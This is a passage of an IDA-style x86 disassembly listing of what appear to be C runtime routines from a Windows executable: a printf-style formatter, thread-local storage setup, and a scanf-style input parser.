XREF: sub_42512C+510j call sub_42590B pop ecx movzx eax, ax jmp short loc_425647 ; --------------------------------------------------------------------------- loc_425655: ; CODE XREF: sub_42512C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_425667 call sub_42590B pop ecx jmp short loc_425647 ; --------------------------------------------------------------------------- loc_425667: ; CODE XREF: sub_42512C+531j call sub_42590B pop ecx xor edx, edx loc_42566F: ; CODE XREF: sub_42512C+500j ; sub_42512C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_425690 test edx, edx jg short loc_425690 jl short loc_42567F test eax, eax jnb short loc_425690 loc_42567F: ; CODE XREF: sub_42512C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_425694 ; --------------------------------------------------------------------------- loc_425690: ; CODE XREF: sub_42512C+547j ; sub_42512C+54Bj ... mov esi, eax mov edi, edx loc_425694: ; CODE XREF: sub_42512C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_42569D and edi, 0 loc_42569D: ; CODE XREF: sub_42512C+56Cj cmp [ebp+var_10], 0 jge short loc_4256AC mov [ebp+var_10], 1 jmp short loc_4256B0 ; --------------------------------------------------------------------------- loc_4256AC: ; CODE XREF: sub_42512C+575j and [ebp+var_4], 0FFFFFFF7h loc_4256B0: ; CODE XREF: sub_42512C+57Ej mov eax, esi or eax, edi jnz short loc_4256BA and [ebp+var_1C], 0 loc_4256BA: ; CODE XREF: sub_42512C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4256C0: ; CODE XREF: sub_42512C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4256D0 mov eax, esi or eax, edi jz short loc_42570B loc_4256D0: ; CODE XREF: sub_42512C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_424A20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_424AA0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_425701 add ebx, [ebp+var_2C] loc_425701: ; CODE XREF: sub_42512C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4256C0 ; --------------------------------------------------------------------------- loc_42570B: ; CODE XREF: sub_42512C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_425736 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_425729 test eax, eax jnz short loc_425736 loc_425729: ; CODE XREF: sub_42512C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_425733: ; CODE XREF: sub_42512C+35Fj ; sub_42512C+406j ... mov [ebp+var_C], eax loc_425736: ; CODE XREF: sub_42512C+21Bj ; sub_42512C+2FDj ... cmp [ebp+var_28], 0 jnz loc_425834 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_42576E test bh, 1 jz short loc_425753 mov [ebp+var_16], 2Dh jmp short loc_425767 ; --------------------------------------------------------------------------- loc_425753: ; CODE XREF: sub_42512C+61Fj test bl, 1 jz short loc_42575E mov [ebp+var_16], 2Bh jmp short loc_425767 ; --------------------------------------------------------------------------- loc_42575E: ; CODE XREF: sub_42512C+62Aj test bl, 2 jz short loc_42576E mov [ebp+var_16], 20h loc_425767: ; CODE XREF: sub_42512C+625j ; sub_42512C+630j mov [ebp+var_1C], 1 loc_42576E: ; CODE XREF: sub_42512C+61Aj ; sub_42512C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_42578E lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4258A2 add esp, 10h loc_42578E: ; CODE XREF: sub_42512C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4258D3 add esp, 10h test bl, 8 jz short loc_4257C0 test bl, 4 jnz short loc_4257C0 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4258A2 add esp, 10h loc_4257C0: ; CODE XREF: sub_42512C+67Bj ; sub_42512C+680j cmp [ebp+var_24], 0 jz short loc_425807 cmp [ebp+var_C], 0 jle short loc_425807 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4257D5: ; CODE XREF: sub_42512C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_42B85E pop ecx test eax, eax pop ecx jle short loc_42581C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4258D3 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4257D5 jmp short loc_42581C ; --------------------------------------------------------------------------- loc_425807: ; CODE XREF: sub_42512C+698j ; sub_42512C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4258D3 add esp, 10h loc_42581C: ; CODE XREF: sub_42512C+6BCj ; sub_42512C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_425834 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4258A2 add esp, 10h loc_425834: ; CODE XREF: sub_42512C+68j ; sub_42512C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_425158 loc_425845: ; CODE XREF: sub_42512C+1Fj ; sub_42512C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_42512C endp ; --------------------------------------------------------------------------- off_42584D dd offset loc_4252CB ; DATA XREF: sub_42512C+6Er dd offset loc_4251A1 ; jump table for switch statement dd offset loc_4251BC dd offset loc_425208 dd offset loc_42523F dd offset loc_425247 dd offset loc_42527C dd offset loc_42530F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42586D proc near ; CODE XREF: sub_42512C+1BDp ; sub_42512C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_425886 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_425891 ; --------------------------------------------------------------------------- loc_425886: ; CODE XREF: sub_42586D+9j push ecx push [ebp+arg_0] call sub_425014 pop ecx pop ecx loc_425891: ; CODE XREF: sub_42586D+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_42589E or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_42589E: ; CODE XREF: sub_42586D+2Aj inc dword ptr [eax] pop ebp retn sub_42586D endp ; =============== S U B R O U T I N E ======================================= sub_4258A2 proc near ; CODE XREF: sub_42512C+65Ap ; sub_42512C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4258D0 mov esi, [esp+8+arg_C] loc_4258B3: ; CODE XREF: sub_4258A2+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_42586D add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4258D0 mov eax, edi dec edi test eax, eax jg short loc_4258B3 loc_4258D0: ; CODE XREF: sub_4258A2+Bj ; sub_4258A2+25j pop edi pop esi retn sub_4258A2 endp ; =============== S U B R O U T I N E ======================================= sub_4258D3 proc near ; CODE XREF: sub_42512C+670p ; sub_42512C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_425907 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4258E9: ; CODE XREF: sub_4258D3+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_42586D add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_425907 mov eax, ebx dec ebx test eax, eax jg short loc_4258E9 loc_425907: ; CODE XREF: sub_4258D3+Cj ; sub_4258D3+2Bj pop edi pop esi pop ebx retn sub_4258D3 endp ; =============== S U B R O U T I N E ======================================= sub_42590B proc near ; CODE XREF: sub_42512C+E5p ; sub_42512C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42590B endp ; =============== S U B R O U T I N E ======================================= sub_425918 proc near ; CODE XREF: sub_42512C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_425918 endp ; =============== S U B R O U T I N E ======================================= sub_425928 proc near ; CODE XREF: sub_42512C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_425928 endp ; =============== S U B R O U T I N E ======================================= sub_425936 proc near ; CODE XREF: .text:loc_424F2Ep push esi call sub_42840D call dword_42F1E4 ; TlsAlloc cmp eax, 0FFFFFFFFh mov dword_4496C0, eax jz short loc_425986 push 74h push 1 call sub_423F63 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_425986 push esi push dword_4496C0 call dword_42F1E8 ; TlsSetValue test eax, eax jz short loc_425986 push esi call sub_42598A pop ecx call dword_42F21C ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh push 1 mov [esi], eax pop eax pop esi retn ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425936+14j ; sub_425936+25j ... xor eax, eax pop esi retn sub_425936 endp ; =============== S U B R O U T I N E ======================================= sub_42598A proc near ; CODE XREF: sub_425936+39p ; sub_42599D+3Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword ptr [eax+50h], offset dword_44BEB0 mov dword ptr [eax+14h], 1 retn sub_42598A endp ; =============== S U B R O U T I N E ======================================= sub_42599D proc near ; CODE XREF: sub_4220EFp sub_4220FCp ... push esi push edi call dword_42F068 ; RtlGetLastWin32Error push dword_4496C0 mov edi, eax call dword_42F1DC ; TlsGetValue mov esi, eax test esi, esi jnz short loc_4259F8 push 74h push 1 call sub_423F63 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4259F0 push esi push dword_4496C0 call dword_42F1E8 ; TlsSetValue test eax, eax jz short loc_4259F0 push esi call sub_42598A pop ecx call dword_42F21C ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_4259F8 ; --------------------------------------------------------------------------- loc_4259F0: ; CODE XREF: sub_42599D+2Bj ; sub_42599D+3Cj push 10h call sub_424FCB pop ecx loc_4259F8: ; CODE XREF: sub_42599D+1Aj ; sub_42599D+51j push edi call dword_42F1E0 ; RtlSetLastWin32Error mov eax, esi pop edi pop esi retn sub_42599D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A04 proc near ; CODE XREF: sub_422725+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_42640A mov edi, [ebp+arg_0] jmp short loc_425A33 ; --------------------------------------------------------------------------- loc_425A2E: ; CODE XREF: sub_425A04+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_425A33: ; CODE XREF: sub_425A04+28j cmp dword_449A44, 1 jle short loc_425A4B movzx eax, al push 8 push eax call sub_42653A pop ecx pop ecx jmp short loc_425A5A ; --------------------------------------------------------------------------- loc_425A4B: ; CODE XREF: sub_425A04+36j mov ecx, off_449838 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_425A5A: ; CODE XREF: sub_425A04+45j cmp eax, ebx jz short loc_425A94 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_426491 pop ecx pop ecx push eax call sub_42647A movzx eax, byte ptr [esi+1] inc esi push eax call sub_423378 add esp, 0Ch loc_425A82: ; CODE XREF: sub_425A04+8Ej test eax, eax jz short loc_425A94 movzx eax, byte ptr [esi+1] inc esi push eax call sub_423378 pop ecx jmp short loc_425A82 ; --------------------------------------------------------------------------- loc_425A94: ; CODE XREF: sub_425A04+58j ; sub_425A04+80j cmp byte ptr [esi], 25h jnz loc_426376 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_425ACB: ; CODE XREF: sub_425A04+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_449A44, 1 jle short loc_425AE8 movzx eax, bl push 4 push eax call sub_42653A pop ecx pop ecx jmp short loc_425AF7 ; --------------------------------------------------------------------------- loc_425AE8: ; CODE XREF: sub_425A04+D3j mov ecx, off_449838 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425AF7: ; CODE XREF: sub_425A04+E2j test eax, eax jz short loc_425B0D mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_425B72 ; --------------------------------------------------------------------------- loc_425B0D: ; CODE XREF: sub_425A04+F5j cmp ebx, 4Eh jg short loc_425B50 jz short loc_425B72 cmp ebx, 2Ah jz short loc_425B4B cmp ebx, 46h jz short loc_425B72 cmp ebx, 49h jz short loc_425B2D cmp ebx, 4Ch jnz short loc_425B5F inc [ebp+var_D] jmp short loc_425B72 ; --------------------------------------------------------------------------- loc_425B2D: ; CODE XREF: sub_425A04+11Dj cmp byte ptr [esi+1], 36h jnz short loc_425B5F cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_425B5F inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_425B72 ; --------------------------------------------------------------------------- loc_425B4B: ; CODE XREF: sub_425A04+113j inc [ebp+var_E] jmp short loc_425B72 ; --------------------------------------------------------------------------- loc_425B50: ; CODE XREF: sub_425A04+10Cj cmp ebx, 68h jz short loc_425B6C cmp ebx, 6Ch jz short loc_425B64 cmp ebx, 77h jz short loc_425B67 loc_425B5F: ; CODE XREF: sub_425A04+122j ; sub_425A04+12Dj ... inc [ebp+var_F] jmp short loc_425B72 ; --------------------------------------------------------------------------- loc_425B64: ; CODE XREF: sub_425A04+154j inc [ebp+var_D] loc_425B67: ; CODE XREF: sub_425A04+159j inc [ebp+var_5] jmp short loc_425B72 ; --------------------------------------------------------------------------- loc_425B6C: ; CODE XREF: sub_425A04+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_425B72: ; CODE XREF: sub_425A04+107j ; sub_425A04+10Ej ... cmp [ebp+var_F], 0 jz loc_425ACB cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_425B97 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_425B97: ; CODE XREF: sub_425A04+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_425BB5 mov al, [esi] cmp al, 53h jz short loc_425BB1 cmp al, 43h jz short loc_425BB1 or [ebp+var_5], 0FFh jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BB1: ; CODE XREF: sub_425A04+1A1j ; sub_425A04+1A5j mov [ebp+var_5], 1 loc_425BB5: ; CODE XREF: sub_425A04+19Bj ; sub_425A04+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_425BEE cmp esi, 63h jz short loc_425BDF cmp esi, 7Bh jz short loc_425BDF push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_426491 pop ecx jmp short loc_425BEA ; --------------------------------------------------------------------------- loc_425BDF: ; CODE XREF: sub_425A04+1C5j ; sub_425A04+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_426460 loc_425BEA: ; CODE XREF: sub_425A04+1D9j pop ecx mov [ebp+var_14], eax loc_425BEE: ; CODE XREF: sub_425A04+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_425BFE cmp [ebp+var_C], eax jz loc_4263DA loc_425BFE: ; CODE XREF: sub_425A04+1EFj cmp esi, 6Fh jg loc_425E65 jz loc_426117 cmp esi, 63h jz loc_425E42 cmp esi, 64h jz loc_426117 jle loc_425E8F cmp esi, 67h jle short loc_425C62 cmp esi, 69h jz short loc_425C4A cmp esi, 6Eh jnz loc_425E8F cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_426345 jmp loc_42636B ; --------------------------------------------------------------------------- loc_425C4A: ; CODE XREF: sub_425A04+229j push 64h pop esi loc_425C4D: ; CODE XREF: sub_425A04+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_425ED7 mov [ebp+var_17], 1 jmp loc_425EDC ; --------------------------------------------------------------------------- loc_425C62: ; CODE XREF: sub_425A04+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_425C7E mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_425C83 ; --------------------------------------------------------------------------- loc_425C7E: ; CODE XREF: sub_425A04+26Aj cmp ebx, 2Bh jnz short loc_425C9A loc_425C83: ; CODE XREF: sub_425A04+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_426460 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_425C9D ; --------------------------------------------------------------------------- loc_425C9A: ; CODE XREF: sub_425A04+27Dj mov edi, [ebp+arg_0] loc_425C9D: ; CODE XREF: sub_425A04+294j cmp [ebp+var_20], 0 jz short loc_425CAC cmp [ebp+var_C], 15Dh jle short loc_425CB3 loc_425CAC: ; CODE XREF: sub_425A04+29Dj mov [ebp+var_C], 15Dh loc_425CB3: ; CODE XREF: sub_425A04+2A6j ; sub_425A04+2F2j cmp dword_449A44, 1 jle short loc_425CC8 push 4 push ebx call sub_42653A pop ecx pop ecx jmp short loc_425CD3 ; --------------------------------------------------------------------------- loc_425CC8: ; CODE XREF: sub_425A04+2B6j mov eax, off_449838 mov al, [eax+ebx*2] and eax, 4 loc_425CD3: ; CODE XREF: sub_425A04+2C2j test eax, eax jz short loc_425CF8 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_425CF8 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_426460 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_425CB3 ; --------------------------------------------------------------------------- loc_425CF8: ; CODE XREF: sub_425A04+2D1j ; sub_425A04+2DBj cmp byte_449A48, bl jnz short loc_425D66 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_425D66 inc [ebp+var_4] push edi call sub_426460 mov ebx, eax mov al, byte_449A48 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_425D21: ; CODE XREF: sub_425A04+360j cmp dword_449A44, 1 jle short loc_425D36 push 4 push ebx call sub_42653A pop ecx pop ecx jmp short loc_425D41 ; --------------------------------------------------------------------------- loc_425D36: ; CODE XREF: sub_425A04+324j mov eax, off_449838 mov al, [eax+ebx*2] and eax, 4 loc_425D41: ; CODE XREF: sub_425A04+330j test eax, eax jz short loc_425D66 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_425D66 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_426460 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_425D21 ; --------------------------------------------------------------------------- loc_425D66: ; CODE XREF: sub_425A04+2FAj ; sub_425A04+304j ... cmp [ebp+var_1C], 0 jz loc_425DFE cmp ebx, 65h jz short loc_425D7E cmp ebx, 45h jnz loc_425DFE loc_425D7E: ; CODE XREF: sub_425A04+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_425DFE mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_426460 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_425DA5 mov [esi], al inc esi jmp short loc_425DAA ; --------------------------------------------------------------------------- loc_425DA5: ; CODE XREF: sub_425A04+39Aj cmp ebx, 2Bh jnz short loc_425DC8 loc_425DAA: ; CODE XREF: sub_425A04+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_425DB9 and [ebp+var_C], eax jmp short loc_425DC8 ; --------------------------------------------------------------------------- loc_425DB9: ; CODE XREF: sub_425A04+3AEj ; sub_425A04+3F8j inc [ebp+var_4] push edi call sub_426460 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_425DC8: ; CODE XREF: sub_425A04+3A4j ; sub_425A04+3B3j cmp dword_449A44, 1 jle short loc_425DDD push 4 push ebx call sub_42653A pop ecx pop ecx jmp short loc_425DE8 ; --------------------------------------------------------------------------- loc_425DDD: ; CODE XREF: sub_425A04+3CBj mov eax, off_449838 mov al, [eax+ebx*2] and eax, 4 loc_425DE8: ; CODE XREF: sub_425A04+3D7j test eax, eax jz short loc_425DFE mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_425DFE inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_425DB9 ; --------------------------------------------------------------------------- loc_425DFE: ; CODE XREF: sub_425A04+366j ; sub_425A04+374j ... dec [ebp+var_4] push edi push ebx call sub_42647A cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_42640A cmp [ebp+var_E], 0 jnz loc_42636B inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_44BB68 add esp, 0Ch jmp loc_42636B ; --------------------------------------------------------------------------- loc_425E42: ; CODE XREF: sub_425A04+20Cj cmp [ebp+var_20], eax jnz short loc_425E51 inc [ebp+var_C] mov [ebp+var_20], 1 loc_425E51: ; CODE XREF: sub_425A04+441j cmp [ebp+var_5], 0 jle short loc_425E5B mov [ebp+var_16], 1 loc_425E5B: ; CODE XREF: sub_425A04+451j mov edi, offset dword_4496CC jmp loc_425F70 ; --------------------------------------------------------------------------- loc_425E65: ; CODE XREF: sub_425A04+1FDj mov eax, esi sub eax, 70h jz loc_426113 sub eax, 3 jz loc_425F61 dec eax dec eax jz loc_426117 sub eax, 3 jz loc_425C4D sub eax, 3 jz short loc_425EB3 loc_425E8F: ; CODE XREF: sub_425A04+21Bj ; sub_425A04+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_4263DA dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_42636B mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_42636B ; --------------------------------------------------------------------------- loc_425EB3: ; CODE XREF: sub_425A04+489j cmp [ebp+var_5], 0 jle short loc_425EBD mov [ebp+var_16], 1 loc_425EBD: ; CODE XREF: sub_425A04+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_425F74 mov eax, edi lea edi, [eax+1] jmp loc_425F70 ; --------------------------------------------------------------------------- loc_425ED7: ; CODE XREF: sub_425A04+24Fj cmp ebx, 2Bh jnz short loc_425EFE loc_425EDC: ; CODE XREF: sub_425A04+259j dec [ebp+var_C] jnz short loc_425EED cmp [ebp+var_20], 0 jz short loc_425EED mov [ebp+var_F], 1 jmp short loc_425EFE ; --------------------------------------------------------------------------- loc_425EED: ; CODE XREF: sub_425A04+4DBj ; sub_425A04+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_426460 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_425EFE: ; CODE XREF: sub_425A04+4D6j ; sub_425A04+4E7j cmp ebx, 30h jnz loc_42614C push [ebp+arg_0] inc [ebp+var_4] call sub_426460 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_425F4C cmp bl, 58h jz short loc_425F4C cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_425F36 push 6Fh loc_425F30: ; CODE XREF: sub_425A04+55Bj pop esi jmp loc_42614C ; --------------------------------------------------------------------------- loc_425F36: ; CODE XREF: sub_425A04+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_42647A pop ecx pop ecx push 30h pop ebx jmp loc_426149 ; --------------------------------------------------------------------------- loc_425F4C: ; CODE XREF: sub_425A04+517j ; sub_425A04+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_426460 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_425F30 ; --------------------------------------------------------------------------- loc_425F61: ; CODE XREF: sub_425A04+46Fj cmp [ebp+var_5], 0 jle short loc_425F6B mov [ebp+var_16], 1 loc_425F6B: ; CODE XREF: sub_425A04+561j mov edi, offset dword_4496C4 loc_425F70: ; CODE XREF: sub_425A04+45Cj ; sub_425A04+4CEj or [ebp+var_18], 0FFh loc_425F74: ; CODE XREF: sub_425A04+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_4221F0 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_425F98 cmp byte ptr [edi], 5Dh jnz short loc_425F98 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_425F9B ; --------------------------------------------------------------------------- loc_425F98: ; CODE XREF: sub_425A04+584j ; sub_425A04+589j mov dl, [ebp+var_35] loc_425F9B: ; CODE XREF: sub_425A04+592j ; sub_425A04+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_426000 inc edi cmp al, 2Dh jnz short loc_425FE7 test dl, dl jz short loc_425FE7 mov cl, [edi] cmp cl, 5Dh jz short loc_425FE7 inc edi cmp dl, cl jnb short loc_425FBA mov al, cl jmp short loc_425FBE ; --------------------------------------------------------------------------- loc_425FBA: ; CODE XREF: sub_425A04+5B0j mov al, dl mov dl, cl loc_425FBE: ; CODE XREF: sub_425A04+5B4j cmp dl, al ja short loc_425FE3 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_425FCB: ; CODE XREF: sub_425A04+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_425FCB loc_425FE3: ; CODE XREF: sub_425A04+5BCj xor dl, dl jmp short loc_425F9B ; --------------------------------------------------------------------------- loc_425FE7: ; CODE XREF: sub_425A04+5A0j ; sub_425A04+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_425F9B ; --------------------------------------------------------------------------- loc_426000: ; CODE XREF: sub_425A04+59Bj cmp byte ptr [edi], 0 jz loc_42640A cmp [ebp+var_3C], 7Bh jnz short loc_426012 mov [ebp+arg_4], edi loc_426012: ; CODE XREF: sub_425A04+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_42647A pop ecx pop ecx loc_426029: ; CODE XREF: sub_425A04+6BCj ; sub_425A04+6C4j cmp [ebp+var_20], 0 jz short loc_42603D mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_4260D9 loc_42603D: ; CODE XREF: sub_425A04+629j inc [ebp+var_4] push edi call sub_426460 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_4260CD mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_4260CD cmp [ebp+var_E], 0 jnz short loc_4260C5 cmp [ebp+var_16], 0 jz short loc_4260BA mov ecx, off_449838 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_426099 inc [ebp+var_4] push edi call sub_426460 pop ecx mov [ebp+var_37], al loc_426099: ; CODE XREF: sub_425A04+686j push dword_449A44 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_42B920 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_4260BD ; --------------------------------------------------------------------------- loc_4260BA: ; CODE XREF: 